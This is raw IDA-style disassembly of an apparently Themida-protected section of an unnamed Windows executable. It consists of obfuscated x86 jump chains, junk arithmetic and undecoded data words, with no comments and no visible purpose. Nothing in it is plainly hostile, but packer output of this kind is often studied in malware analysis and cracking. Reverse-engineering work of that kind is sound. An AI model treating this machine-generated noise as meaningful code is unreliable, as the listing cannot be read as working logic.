; ---------------------------------------------------------------------------
loc_549BE5: ; CODE XREF: Themida_:00547A2Aj
pop eax
add eax, ebx
pop ebx
push edx
mov edx, 4
jmp loc_54E5B7
; ---------------------------------------------------------------------------
dd 6E032FBEh, 0E21FE910h, 6BBFFFFFh, 0E942DF17h, 2D31h
; ---------------------------------------------------------------------------
loc_549C08: ; CODE XREF: Themida_:0054ABF8j
sub ebx, 2
xchg ebx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_54C1CA
; ---------------------------------------------------------------------------
loc_549C1A: ; CODE XREF: Themida_:00550FB1j
pop esi
jmp loc_54DFC2
; ---------------------------------------------------------------------------
loc_549C20: ; CODE XREF: Themida_:0054FA0Bj
pop eax
push dword ptr [esp]
pop ebx
push ecx
mov ecx, esp
add ecx, 4
jmp loc_54A021
; ---------------------------------------------------------------------------
db 89h
dd 0E6892434h, 4C681h, 0EC680000h, 89000054h, 6853243Ch
dd 674602ADh, 83241C8Bh, 0C38104C4h, 7CA0279h, 3AEB8143h
dd 8107A40Dh, 25085EC3h, 5BDF89CFh, 2D05BD55h, 0E5813EFFh
dd 193349DEh, 5CE6E581h, 55E970BBh
db 2Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549C7F: ; CODE XREF: Themida_:00550EE7j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5476BB
; ---------------------------------------------------------------------------
dd 0E9241C89h, 2310h, 0BD55DBF7h, 526531B0h, 36C5E581h
dd 0F581219Ah, 56DF44A0h, 815DEB01h, 0DDB41EEBh, 2DE9D4h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549CBA: ; CODE XREF: Themida_:0054A72Cj
pop ecx
jmp loc_55083B
; ---------------------------------------------------------------------------
dd 9796852h, 0E95A7FD1h, 7295h
; ---------------------------------------------------------------------------
loc_549CCC: ; CODE XREF: Themida_:0055001Ej
shl edx, 1
xor [edi+24h], edx
push ecx
push edx
mov edx, 92C4BCDh
shr edx, 2
jmp loc_546CA2
; ---------------------------------------------------------------------------
aIssm1 db '┴АИ╛1',0
dw 100h
dd 241C8BDAh, 4C481h, 14870000h, 0D51AE924h, 295BFFFFh
dd 86BB53D9h, 157D53Eh, 1CE95BD9h
db 62h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549D0B: ; CODE XREF: Themida_:00546593j
push esi
mov esi, 68A052E7h
xor edx, esi
pop esi
push edx
pop ecx
mov edx, [esp]
add esp, 4
jmp loc_54D693
; ---------------------------------------------------------------------------
loc_549D24: ; CODE XREF: Themida_:005478A0j
push eax
mov eax, 1
push edx
jmp loc_55241F
; ---------------------------------------------------------------------------
dd 68241C89h, 1229h, 0FFCEF6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549D3D: ; CODE XREF: Themida_:00551284j
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_551B95
; ---------------------------------------------------------------------------
dword_549D54 dd 0FF2434FFh, 81582434h, 4ECh, 24148900h, 71E95A54h
; DATA XREF: Themida_:00546218o
db 0F5h, 2 dup(0FFh)
byte_549D6B db 66h ; DATA XREF: Themida_:00546330o
dd 8324048Bh, 1C8904ECh, 525B5424h, 4BAh, 3DC2E900h, 0E1D10000h
dd 3C58E981h, 0C18134EEh, 45F1D986h, 0FA653505h, 0D726E977h
dd 0FF68FFFFh, 89000024h, 1BE9242Ch, 89000008h, 622559C8h
dd 57068604h, 0FFFE49E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549DB5: ; CODE XREF: Themida_:00548690j
not ebx
not ebx
add ebx, 2478BA84h
jmp loc_54CDB0
; ---------------------------------------------------------------------------
dd 0B551D830h, 8E5C0A9h, 0F603EDC0h, 6EDC0D5h, 83F580h
dd 0F12FE9E8h, 4BDFFFFh, 1000000h, 2EE9EEh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549DEA: ; CODE XREF: Themida_:0054E038j
inc edi
jmp loc_54BF58
; ---------------------------------------------------------------------------
loc_549DF0: ; CODE XREF: Themida_:00548950j
add ebx, 4
push ecx
jmp loc_54C17B
; ---------------------------------------------------------------------------
loc_549DFC: ; CODE XREF: Themida_:0054E34Cj
mov ebp, 23B60336h
push eax
jmp loc_550EAF
; ---------------------------------------------------------------------------
loc_549E07: ; CODE XREF: Themida_:00546B34j
pop edx
shl edx, 6
not edx
xor edx, 2D641A29h
jmp loc_5519BD
; ---------------------------------------------------------------------------
dd 4C6835Dh, 1E04E9h, 0B1685700h, 5F71174Bh, 21EF8147h
dd 8923AC64h, 7E055FF9h, 0E917D22Ah, 0FFFFE02Bh, 22A6E95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549E42: ; CODE XREF: Themida_:0054D16Aj
pop esp
push 0CB9h
mov [esp], esi
jmp loc_54D8A6
; ---------------------------------------------------------------------------
dd 8904EC83h, 4BD242Ch, 1000000h, 3C875DEFh, 24248B24h
dd 0FFF2AEE9h, 241489FFh, 0A4412BAh, 1EA836Dh, 38FEC281h
dd 0F2810E2Ch, 57AD66D9h, 1BD2F281h, 0D5012C9Bh, 8324148Bh
dd 0ACE904C4h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549E93: ; CODE XREF: Themida_:00547A95j
mov ecx, 7FD6076Ah
xor ecx, 0AF18687Eh
xor esi, ecx
push dword ptr [esp]
pop ecx
jmp loc_54EC0A
; ---------------------------------------------------------------------------
byte_549EA9 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:00546410o
dd 0D8686602h, 489662Ch, 0C631E924h, 0E95BFFFFh, 0FFFFCA94h
dd 159CB89h, 0EA015BDDh, 0B4BD555Dh, 45418C74h, 0E63E9h
db 0
; ---------------------------------------------------------------------------
loc_549ED5: ; CODE XREF: Themida_:00551A44j
push eax
mov eax, 52AE66EDh
jmp loc_54C20C
; ---------------------------------------------------------------------------
aFpvsF db 'fPVИ╪f',0
align 4
loc_549EE8: ; CODE XREF: Themida_:0054BE13j
mov [esp], eax
push 62FBh
mov [esp], edx
pop eax
pop edx
jmp loc_54C4D6
; ---------------------------------------------------------------------------
loc_549EFA: ; CODE XREF: Themida_:0054EE83j
push 58DDh
jmp loc_548536
; ---------------------------------------------------------------------------
dd 31241C33h, 1C33241Ch, 24248B24h, 0FFF894E9h, 0D8015EFFh
dd 764BE9h, 2C48100h, 80000000h, 0C300A3C3h, 4773E9h, 1926800h
dd 14890000h, 484CBA24h, 29E904FAh, 5CFFFFF3h, 0E99CC884h
dd 0FFFFC5A3h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 2824248Bh
dd 0E99C2404h, 0FFFFC587h, 0D7CB81h, 0CB81275Dh, 4EFB3B6Ah
dd 5297BA52h, 0EAC164BAh, 6E2C106h, 8102EAC1h, 2487DEAh
dd 5AD331A7h, 0DA84E951h, 0BE56FFFFh, 0B45FFAEFh, 6DE9F131h
dd 0BF000088h, 53841B72h, 0FFE724E9h, 0B45066FFh, 66E728D7h
dd 0E9FD0058h, 206Eh, 405E089h, 0E9000000h, 0FFFFCBF8h
; ---------------------------------------------------------------------------
loc_549FC0: ; CODE XREF: Themida_:0054BB18j
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_54662A
; ---------------------------------------------------------------------------
aB3hEsB db '│м3H',0Ah
db '*EИ╨B',0
db 0
; ---------------------------------------------------------------------------
loc_549FE3: ; CODE XREF: Themida_:0054A634j
mov ebx, 1Ch
jmp loc_5478A5
; ---------------------------------------------------------------------------
db 83h, 0C4h, 2
dd offset dword_58EA80
dd 24148BD0h, 815D5455h, 4C5h, 17B85000h, 35122E6Fh, 2F3E0778h
dd 0B05D0F7h, 576C0802h, 0F79997BFh, 5FF8292Eh, 3D38E9h
db 0
; ---------------------------------------------------------------------------
loc_54A021: ; CODE XREF: Themida_:00549C2Ej
add ecx, 4
xchg ecx, [esp]
jmp loc_54BA9E
; ---------------------------------------------------------------------------
db 66h
dd 2D66D801h, 56667049h, 5114BE66h, 0E9F00166h, 3708h
dd 840FC909h, 0FFFFC779h, 404568h, 76136800h, 34890000h
dd 0E9E68924h, 7763h, 4C481h, 5EE90000h, 5CFFFFF5h, 0FF242C89h
dd 5D042474h, 8B24048Fh, 85682424h, 89000072h, 5350241Ch
dd 0A3E9D388h, 81000020h, 4ECh, 0CD44E900h, 8166FFFFh
dd 6675F7F2h, 1D96E281h, 2510E955h, 1C890000h, 34FF5424h
dd 89575B24h, 4C781E7h, 53000000h, 6A18B951h, 0F1811619h
dd 6932B00h, 4BCEC181h, 0E18177AFh, 5F12B7Eh, 8105E1C1h
dd 210BE6F1h, 59CB891Bh, 8108E3C1h, 72604F3h, 5BDF0100h
dd 0E9243C87h, 64F5h, 0E6D8E949h
db 2 dup(0FFh)
word_54A0F6 dw 51ACh ; DATA XREF: Themida_:00546234o
dd 0C58020B5h, 0E9E42C99h, 43F0h, 2B9h, 36EB8100h, 812BE908h
dd 5159CBC3h, 50CB012Ah, 167DE9h, 1C68100h, 53000000h
dd 670CC0BBh, 5BDE3148h, 3685657h, 0E973401Bh, 4A56h, 815FFB29h
dd 5819F5F3h, 0B9F3810Dh, 8117B493h, 0E4786CEEh, 8FC68115h
dd 105D862h, 16FCE9DEh, 565D0000h, 0E6E9E689h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A163: ; CODE XREF: Themida_:00548902j
add eax, ebx
pop ebx
mov ecx, [eax]
push dword ptr [esp]
jmp loc_547154
; ---------------------------------------------------------------------------
dd 8959CF01h, 243C8BFBh, 2E3E9h, 24048900h, 9D0E7BB8h
dd 8BC3012Ah, 0C4812404h, 4, 3F7EC381h, 0EB816093h, 459B629Bh
dd 0C381C301h, 459B629Bh, 7D5EE9h, 0C0B60F00h, 518734FFh
dd 0A222E4B9h, 244C296Bh, 34FF5904h, 261CE924h, 8B660000h
dd 0C4832414h, 0DD58E902h, 0E289FFFFh, 4C281h, 0C2830000h
dd 24148704h, 5AD0015Ch, 90BB5352h, 89540535h, 55D5E9DAh
dd 2C330000h, 24248B24h, 0FFD801E9h, 0EC8157FFh, 4, 83242489h
dd 0E9042404h, 1FC7h
; ---------------------------------------------------------------------------
loc_54A20C: ; CODE XREF: Themida_:00550918j
xchg ebp, [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_54E79C
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
mov eax, [esp]
push 137Ch
mov [esp], edx
push esp
pop edx
push ebx
mov ebx, 4
add edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
add edx, 4
push edx
jmp loc_54BBCE
; ---------------------------------------------------------------------------
dd 0E9241C8Bh, 0FFFFF373h
; ---------------------------------------------------------------------------
loc_54A25C: ; CODE XREF: Themida_:00551C19j
pop eax
xor ebp, esi
pop esi
jmp loc_54EA08
; ---------------------------------------------------------------------------
db 89h, 1Ch, 24h
dd 0FFD9A0E9h, 28E95AFFh, 89000021h, 4B9240Ch, 1000000h
dd 7AD0E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A282: ; CODE XREF: Themida_:00550602j
xchg ebp, [esp]
jmp loc_54B91D
; ---------------------------------------------------------------------------
dw 0C083h
dd 24048704h, 4C4815Ch, 52000000h, 24148B5Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebp
sub esp, 4
mov [esp], edi
push 61835DDBh
push dword ptr [esp]
jmp loc_54CED6
; ---------------------------------------------------------------------------
loc_54A2C3: ; CODE XREF: Themida_:0054A4C6j
pop esi
push ebp
jmp loc_54E52B
; ---------------------------------------------------------------------------
dw 0C68h
dd 8900007Eh, 0D8BB241Ch, 0F7145B2Ah, 31EB31DBh, 45EB31DDh
dd 0C383EB87h, 73B3E9FFh, 0C8B0000h, 4C48324h, 1E22E951h
db 2 dup(0)
word_54A2F6 dw 0FF64h ; DATA XREF: Themida_:00546294o
dd 0C1EDE932h, 0C481FFFFh, 4, 292B951h, 0CD316C31h, 0CF2E9h
dd 5BF88800h, 5A58C388h, 2858F380h, 0D0005BD8h, 0FFF2E5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A325: ; CODE XREF: Themida_:00546BD6j
pop ebp
jmp loc_547923
; ---------------------------------------------------------------------------
loc_54A32B: ; CODE XREF: Themida_:005476BCj
push 209Dh
mov [esp], esi
push esp
pop esi
push edx
push eax
mov eax, 34816E49h
shl eax, 7
push eax
jmp loc_550008
; ---------------------------------------------------------------------------
db 33h, 34h, 24h
dd 33243431h, 835C2434h, 248904ECh, 24048324h, 24048F04h
dd 4240483h, 8324048Fh, 1C8904ECh, 4BB24h, 0B6E90000h
dd 0B0FFFFD0h, 0E9C300FBh, 0FFFFE21Eh, 0FFBA5259h, 811D0E36h
dd 0C03BF9EAh, 0ABB5355h, 135CE79h, 0EA815BDAh, 0FD1C740Ch
dd 14C7C181h, 0D1015A9Ah, 14C7E981h, 505A5A9Ah, 47B9E9h
dd 81FB2900h, 484602EBh, 0C1EB8160h, 57437175h, 916F6BFh
dd 4EFC10Bh, 7A01C781h, 0C3E90C85h, 28FFFFECh, 805966E8h
dd 0E95247EBh, 501h, 83240C8Bh, 272C04C4h, 0EEE9D828h
db 3Ah, 2 dup(0)
aMssj8 db '╛SИJ8',0 ; DATA XREF: Themida_:00546250o
align 2
loc_54A3F2: ; CODE XREF: Themida_:0054F079j
mov [esp], esi
jmp loc_5497DE
; ---------------------------------------------------------------------------
dw 5F59h
dd 4C381h, 7FE90000h, 66FFFFC3h, 0B5240C89h, 66EA30AFh
dd 20F28059h, 51FFEA80h, 0C1FE9CB1h, 0BAE980h, 0D72059CAh
dd 10F1E9h, 5B545300h, 4C381h, 97E90000h, 0BF00000Eh, 4
dd 4247C01h, 7568585Fh, 89000057h, 0A1BE2434h, 510EA625h
dd 8422DBB9h, 56E18103h, 0E9335436h, 75D2h, 815E5456h
dd 4C6h, 6CE6E900h, 0F7660000h, 4EC83F1h, 54243C89h, 83243C8Bh
dd 0C78104C4h, 4, 4F4FE9h
db 0
; ---------------------------------------------------------------------------
loc_54A489: ; CODE XREF: Themida_:00551A55j
sub cl, 9Eh
mov bx, [esp]
jmp loc_5484DE
; ---------------------------------------------------------------------------
db 29h, 0FAh, 8Bh
dd 0C483243Ch, 48EA8104h, 1041B7Bh, 0D285E9F2h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A4AA: ; CODE XREF: Themida_:005475F1j
pop ebx
mov edx, ecx
pop ecx
jmp loc_551A43
; ---------------------------------------------------------------------------
aSuo_0 db '[ИЦo',0
db 0
; ---------------------------------------------------------------------------
loc_54A4B9: ; CODE XREF: Themida_:0054B721j
pop edx
not esi
inc esi
push esi
xchg eax, [esp]
not eax
xchg eax, [esp]
jmp loc_54A2C3
; ---------------------------------------------------------------------------
db 58h
dd 12F7E9h
db 0
byte_54A4D1 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005463FCo
dd 441D6851h, 0B1E90000h, 8900006Eh, 2BA2414h, 1000000h
dd 24148BD7h, 4C481h, 3C870000h, 1B12E924h, 0F1010000h
dd 8124348Bh, 4ECh, 1C8BE900h, 0C1810000h, 0FFFFFFFFh
dd 0CFEBF181h, 0CA29DFFEh, 0C4F2E959h, 0E589FFFFh, 4C581h
dd 0C5810000h, 2, 5C242C87h, 66D83166h, 81241C8Bh, 4ECh
dd 242C8900h, 0BA52E589h, 4, 148BD501h, 4C48324h, 8702C583h
dd 248B242Ch, 3712E924h, 895C0000h, 4CB22414h, 0E988EA80h
dd 7E1Dh
; ---------------------------------------------------------------------------
loc_54A56C: ; CODE XREF: Themida_:0054EBF2j
mov [esp], edi
pop edx
mov edi, [esp]
add esp, 4
push edx
pop eax
mov edx, [esp]
push ebp
mov ebp, esp
jmp loc_54AE78
; ---------------------------------------------------------------------------
word_54A586 dw 8B66h ; DATA XREF: Themida_:00546320o
dd 4768240Ch, 0E900007Ch, 4CAh, 592434FFh, 0E904C483h
dd 3A82h, 89241C89h, 4D2EE9E3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A5AA: ; CODE XREF: Themida_:0055106Dj
pop ebx
push edi
jmp loc_54A779
; ---------------------------------------------------------------------------
byte_54A5B1 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00546298o
dd 8B2434FFh, 8957240Ch, 0E1BCE9E7h, 40BDFFFFh, 89000000h
dd 6C12E9EAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A5CE: ; CODE XREF: Themida_:005512BAj
mov edi, ebx
mov eax, edi
mov edi, [esp]
push edi
mov edi, esp
push eax
mov eax, 4
add edi, eax
pop eax
add edi, 4
xchg edi, [esp]
jmp loc_54CAF0
; ---------------------------------------------------------------------------
loc_54A5EF: ; CODE XREF: Themida_:loc_546C89j
; Themida_:0055163Bj
push eax
mov eax, esp
push ebx
jmp loc_547A22
; ---------------------------------------------------------------------------
loc_54A5F8: ; CODE XREF: Themida_:00547A8Ej
push ebp
jmp loc_550110
; ---------------------------------------------------------------------------
dw 15Bh
dd 8B042444h, 0C4832404h, 4055804h, 52000000h, 4BAh, 11E70500h
dd 0D0017083h, 8311E72Dh, 0F8E95A70h
db 81h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A627: ; CODE XREF: Themida_:00549686j
xchg ecx, [esp]
pop esp
or eax, eax
jz loc_547C43
push ebx
jmp loc_549FE3
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 0C8B665Ch, 34F76824h, 3C890000h, 66F16824h, 0E9540000h
dd 0FFFFEBF9h, 0DCE94A04h, 100001Ah, 70EF81C7h, 58380421h
dd 4C781h, 3C330000h, 243C3124h, 0E9243C33h, 0FFFFE137h
; ---------------------------------------------------------------------------
loc_54A678: ; CODE XREF: Themida_:0054B419j
pop ebp
jmp loc_55005F
; ---------------------------------------------------------------------------
loc_54A67E: ; CODE XREF: Themida_:0054DC16j
push dword ptr [esp]
pop ecx
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
movsx ecx, ax
push edi
mov edi, esp
add edi, 4
jmp loc_547470
; ---------------------------------------------------------------------------
loc_54A69F: ; CODE XREF: Themida_:0054F46Fj
add ecx, 704900B8h
add ecx, ebp
sub ecx, 704900B8h
mov ebp, [esp]
add esp, 4
push ecx
jmp loc_5489C8
; ---------------------------------------------------------------------------
db 5, 86h, 5Fh
dd 2C8B01CBh, 4C48124h, 57000000h, 35B9E9h
db 0
; ---------------------------------------------------------------------------
loc_54A6CD: ; CODE XREF: Themida_:005508CDj
sub esi, 560C497Ah
jmp loc_547395
; ---------------------------------------------------------------------------
dd 5358C729h, 85692FBBh, 5BDF0162h, 0EF81C701h, 6285692Fh
dd 6061B850h, 0C7014BD4h, 8324048Bh, 1AE904C4h, 8BFFFFD1h
dd 0EC812424h, 4, 50241C89h, 9911ECB8h, 0F92D4830h, 89EF7F06h
dd 0E3C158C3h, 3D08E905h, 0F6800000h, 4328E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A72A: ; CODE XREF: Themida_:005476E5j
xor esi, ecx
jmp loc_549CBA
; ---------------------------------------------------------------------------
db 5Bh, 83h, 0C2h
dd 445CE904h, 2C810000h, 9F5BE424h, 2404010Ch, 0E4240481h
dd 560C9F5Bh, 2E6DDDBEh, 24448112h, 0D56E3804h, 0FFBE5631h
dd 8136AD73h, 0A8082444h, 2924F962h, 81082474h, 0A808246Ch
dd 5E24F962h, 3CCEE9h
db 0
; ---------------------------------------------------------------------------
loc_54A779: ; CODE XREF: Themida_:0054A5ACj
not dword ptr [esp]
jmp loc_54D418
; ---------------------------------------------------------------------------
db 5Fh, 1, 0F8h
dd 59580888h, 5CE95A5Bh, 89FFFFBDh, 74FF241Ch, 1C8B0424h
dd 4C48324h, 8B24048Fh, 4D22424h, 0E3E99C24h, 87000026h
dd 835C2404h, 3C3302C7h, 243C3124h, 8B243C33h, 85662424h
dd 24E99CC8h
db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A7C7: ; CODE XREF: Themida_:0054F38Fj
push ebx
jmp loc_551921
; ---------------------------------------------------------------------------
loc_54A7CD: ; CODE XREF: Themida_:00549697j
xchg ecx, [esp]
jmp loc_54BDAF
; ---------------------------------------------------------------------------
loc_54A7D5: ; CODE XREF: Themida_:0054DA79j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
mov edx, 17DA2644h
push ebx
mov ebx, 799F35FBh
dec ebx
sub ebx, 20C8B945h
and edx, ebx
pop ebx
shl edx, 8
not edx
sub edx, 2DDBFBFDh
add edi, edx
pop edx
jmp loc_54CC9F
; ---------------------------------------------------------------------------
dd 5704C783h, 42474FFh, 24048F5Fh, 3514E9h, 49106800h
dd 88E90000h, 31FFFFF0h, 0C33240Ch, 0E9515C24h, 0FFFFDC48h
dd 405h, 4C08300h, 5C240487h, 0FFDC08E9h, 4C381FFh, 81000000h
dd 4ECh, 240C8900h, 2B9h, 59CB0100h, 5C241C87h, 0E9E1F766h
dd 2BE4h, 641E781h, 0C7814642h, 78B82B9Bh, 6EA3EF81h, 0FE31798Dh
dd 0E92434FFh, 3D0Dh
; ---------------------------------------------------------------------------
loc_54A888: ; CODE XREF: Themida_:00547752j
mov [esp], eax
xor [esp], esi
xor esi, [esp]
xor [esp], esi
not esi
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
jmp loc_54D631
; ---------------------------------------------------------------------------
loc_54A8A6: ; CODE XREF: Themida_:0054FE40j
mov edx, ebp
pop ebp
jmp loc_54FCF6
; ---------------------------------------------------------------------------
loc_54A8AE: ; CODE XREF: Themida_:005474EBj
; Themida_:0054FBD0j
push ebx
sub esp, 4
mov [esp], ecx
jmp loc_54DAAF
; ---------------------------------------------------------------------------
db 45h, 0C1h, 0EDh
dd 2EC58104h, 0E9EA31DBh, 0FFFFE876h, 24148B5Eh, 5E08950h
dd 4, 5864E9h, 80DAB600h, 0C2E951C6h
db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A8E7: ; CODE XREF: Themida_:0054E251j
add ecx, 0FFFFFFFFh
and ecx, 5C9A0027h
jmp loc_5521E0
; ---------------------------------------------------------------------------
dd 74B7F781h, 0F74F1A10h, 9AC781D7h, 154EC65h, 2434FFFDh
dd 4C4815Fh, 55000000h, 42474FFh, 81242C8Bh, 4C4h, 24048F00h
dd 6624248Bh, 9C2424D3h, 0FFCF21E9h, 4EC81FFh, 89000000h
dd 16B7241Ch, 0FFF098E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A941: ; CODE XREF: Themida_:0054747Dj
mov ecx, esp
jmp loc_5496B3
; ---------------------------------------------------------------------------
loc_54A948: ; CODE XREF: Themida_:005472A6j
xor [esp+4], esi
jmp loc_550322
; ---------------------------------------------------------------------------
loc_54A951: ; CODE XREF: Themida_:005493A8j
neg eax
inc eax
sub eax, 25396720h
push ecx
mov ecx, 59FD0C4Eh
dec ecx
not ecx
inc ecx
add ecx, 5F8789CEh
add eax, ecx
pop ecx
add ebp, eax
pop eax
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov eax, [esp]
push eax
push 998h
mov [esp], esp
jmp loc_549702
; ---------------------------------------------------------------------------
loc_54A98D: ; CODE XREF: Themida_:0055083Fj
jmp loc_5464EB
; ---------------------------------------------------------------------------
loc_54A992: ; CODE XREF: Themida_:0055138Bj
xor ecx, 4F4102E8h
mov edx, ecx
pop ecx
jmp loc_54DBC3
; ---------------------------------------------------------------------------
dd 0D047C681h, 0F28949C0h, 4543E9h, 0B3E95400h, 2C00002Eh
dd 0EC815A0Eh, 4, 0FFC898E9h, 8BF029FFh, 0C4832434h, 512C0504h
dd 0D8012BF7h, 129DBF57h, 69E97698h, 5E000012h, 24440166h
dd 48B6602h, 2C48324h, 24048F66h, 0BF665766h, 1660002h
dd 6602247Ch, 0BAEDE95Fh, 0E950FFFFh, 4D26h, 5066DBF6h
dd 5EE2E9h, 24048F00h, 0FFBAD6E9h, 0BB535AFFh, 72D95B72h
dd 4B04EBC1h, 665BBF57h, 0FB317BE7h, 0E9EB815Fh, 817CCAF3h
dd 0FE4603C2h, 81DA0157h, 0FE4603EAh, 259DE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AA42: ; CODE XREF: Themida_:00546C84j
pop edi
or edi, ecx
pop ecx
jmp loc_547E81
; ---------------------------------------------------------------------------
loc_54AA4B: ; CODE XREF: Themida_:0054CEF0j
mov eax, esi
push dword ptr [esp]
jmp loc_55221F
; ---------------------------------------------------------------------------
aXZs db 'X)яZИ`',0Ah,0
align 2
aI4TSG db '┴4$T^И=G',0
align 4
dd 0F703E3C1h, 45B951D3h, 41249A55h, 0F749E1D1h, 0A5C181D9h
dd 314F8ACBh, 0E99359CBh, 575Eh
; ---------------------------------------------------------------------------
loc_54AA88: ; CODE XREF: Themida_:0054C180j
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_55012C
; ---------------------------------------------------------------------------
loc_54AAA5: ; CODE XREF: Themida_:0054CB94j
inc edx
add edx, 0BF9F577Eh
sub [edi+24h], edx
pop edx
loc_54AAB0: ; CODE XREF: Themida_:loc_550338j
push 621Ah
mov [esp], ebx
push ecx
jmp loc_548067
; ---------------------------------------------------------------------------
dw 0C181h
dd 7E670A20h, 7DEABB53h, 0F3816479h, 7D6B5C4Bh, 167AF381h
dd 0D9213DC7h, 16E1815Bh, 0E9074C37h, 533Dh, 269EF281h
dd 0D12116DBh, 8324148Bh, 0E95704C4h, 0FFFFDEDDh
dword_54AAF8 dd 24048B66h, 8904EC83h, 5A542414h, 0E9E28952h, 0F1Dh
; DATA XREF: Themida_:005462A8o
dd 0E953E289h, 533Ah
dword_54AB14 dd 8B2434FFh, 8352240Ch, 248904ECh, 24048124h, 4, 8324148Bh
; DATA XREF: Themida_:0054634Co
dd 0C28104C4h, 4, 8704C283h, 0E95C2414h, 74A6h, 87242C31h
dd 87D2F7D5h, 4F91E9D5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54AB4E: ; CODE XREF: Themida_:0054E844j
pop ebx
pop esi
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
jmp loc_5483D8
; ---------------------------------------------------------------------------
dw 2C81h
dd 6B16F124h, 0B9515D7Dh, 7D6B16F1h, 0FF59CD01h
db 34h, 24h, 5Bh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push edx
mov edx, 290E2FE4h
jmp loc_5468BF
; ---------------------------------------------------------------------------
loc_54AB81: ; CODE XREF: Themida_:0054BD17j
sub [esp+4], esi
push eax
push ebx
mov ebx, 727E70A5h
mov eax, ebx
pop ebx
jmp loc_54D961
; ---------------------------------------------------------------------------
dd 0FEA9B753h, 0E2C780C7h, 4B15152h, 0CA0010B2h, 12EA8059h
dd 0F280C2FEh, 94C28001h, 8090B151h, 0CF0087C1h, 81D72859h
dd 4ECh, 24048900h, 0C4807BB4h, 80DCF67Dh, 0EC804BECh
dd 79C4801Fh, 8B58E728h, 0C4832414h, 5BFA8804h, 7303E9h
dd 34FF5B00h, 3A4BE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ABEE: ; CODE XREF: Themida_:0054FCF9j
pop edx
jmp loc_54F5D8
; ---------------------------------------------------------------------------
loc_54ABF4: ; CODE XREF: Themida_:0054CAC3j
xchg eax, [esp]
pop esp
jmp loc_549C08
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 53E08950h, 0D525A6BBh, 0DEEB8136h, 0E9267E56h, 0FFFFC068h
dd 295FF931h, 0FE8959CFh, 5F2434FFh, 4C481h, 44E90000h
dd 0C100003Ah, 0C58103E5h, 0E8F03494h, 47BEE9h, 2424D300h
dd 0B8A9E99Ch, 8B54FFFFh, 0C4812414h, 4, 4C281h, 0BE560000h
dd 12A37763h, 6B6168h, 28C4E900h, 1C890000h, 50F5B324h
dd 3CE9E2B0h, 81FFFFC1h, 372EC0EDh, 5DEB2925h, 7AC4C381h
dd 0EB813399h, 32E6639Ah, 0C381C329h, 32E6639Ah, 7AC4EB81h
dd 0C3813399h, 3CA32E40h, 578CE9h, 242C3100h, 8B242C33h
dd 0C4832424h, 680E6804h, 0C890000h, 0E5E95724h, 8100001Bh
dd 0FB052EF7h, 11F78105h, 81C005B4h, 2808B4C3h, 81FB0112h
dd 2808B4EBh, 0D3015F12h, 1289EB81h, 685A533Eh, 69E0h
dd 0FFF580E9h, 0E95166FFh, 726Ch
dword_54ACEC dd 8B2434FFh, 0C4812404h, 4, 5C98E9h, 4C38300h, 60E1E9h
; DATA XREF: Themida_:00546378o
db 0
; ---------------------------------------------------------------------------
loc_54AD05: ; CODE XREF: Themida_:0054772Aj
neg ebp
sub ebp, 51F3D8E7h
sub eax, 74125E39h
sub eax, ebp
push edi
push ecx
mov ecx, 249F1F17h
jmp loc_54C674
; ---------------------------------------------------------------------------
loc_54AD20: ; CODE XREF: Themida_:0054D8FAj
push ecx
mov ecx, 6A8A19C7h
and ecx, 622E4BEFh
neg ecx
not ecx
shr ecx, 4
jmp loc_54D16F
; ---------------------------------------------------------------------------
dd 71EED81h, 814D057Dh, 2C07ABE5h, 5436E97Bh, 0ED810000h
dd 60D60223h, 3ABFF581h, 0F5811789h, 54882D99h, 315DE929h
dd 7344E9CEh, 95BD0000h, 557A031Eh, 242C8B59h, 4C481h
dd 0D9870000h, 8701C383h, 0CE981D9h, 131E013h, 240C8BC8h
dd 4C481h, 0D8010000h, 0FFD631E9h, 0C1405BFFh, 974008E0h
